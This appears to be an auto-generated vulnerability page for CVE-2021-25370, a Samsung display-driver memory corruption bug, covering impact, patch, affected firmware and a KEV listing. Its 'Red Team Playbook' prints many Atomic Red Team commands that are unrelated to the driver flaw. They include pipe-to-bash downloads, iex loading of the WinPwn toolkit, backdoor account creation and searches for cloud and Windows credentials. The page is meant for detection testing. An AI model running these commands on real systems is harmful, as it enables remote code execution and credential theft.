CVE-2021-25370
Overview
This vulnerability is a memory corruption flaw caused by incorrect handling of file descriptors within the display processing unit (dpu) driver on Samsung Mobile Devices. The root cause lies in improper management of resource cleanup or validation in the dpu driver's code prior to the SMR Mar-2021 Release 1. The affected component is the kernel-level dpu driver responsible for display processing tasks.
Vulnerability Description
An incorrect implementation handling file descriptor in dpu driver prior to SMR Mar-2021 Release 1 results in memory corruption leading to kernel panic.
Impact
An attacker with elevated privileges on the device can exploit this vulnerability to cause a kernel panic, resulting in denial of service through system crashes. The prerequisite is having high-level access to interact with kernel driver interfaces. This can disrupt device availability and potentially affect dependent processes or services, leading to operational interruptions on affected Samsung Mobile Devices.
Solution
Samsung has addressed this issue in the SMR Mar-2021 Release 1 firmware update for Samsung Mobile Devices. Administrators should apply the security update available via Samsung's official security update portal at https://security.samsungmobile.com/securityUpdate.smsb. Detailed patch instructions and advisory information are provided on Samsung's security website to ensure proper remediation of the dpu driver vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (50)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-apr-2020-r1:*:*:*:*:*:*
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|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-aug-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-dec-2019-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-dec-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-feb-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-feb-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jan-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jan-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jul-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-jun-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-mar-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-may-2020-r1:*:*:*:*:*:*
|
|
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Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-nov-2019-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-nov-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-oct-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 10.0 |
cpe:2.3:o:samsung:android:10.0:smr-sep-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-dec-2020-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-feb-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 11.0 |
cpe:2.3:o:samsung:android:11.0:smr-jan-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 8.0 |
cpe:2.3:o:samsung:android:8.0:-:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-25370 |
| security.samsungmobile.com |
GitHub CVE
x_refsource_CONFIRM
|
https://security.samsungmobile.com/securityUpdate.smsb |
| security.samsungmobile.com |
GitHub CVE
x_refsource_MISC
|
https://security.samsungmobile.com |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-25370 |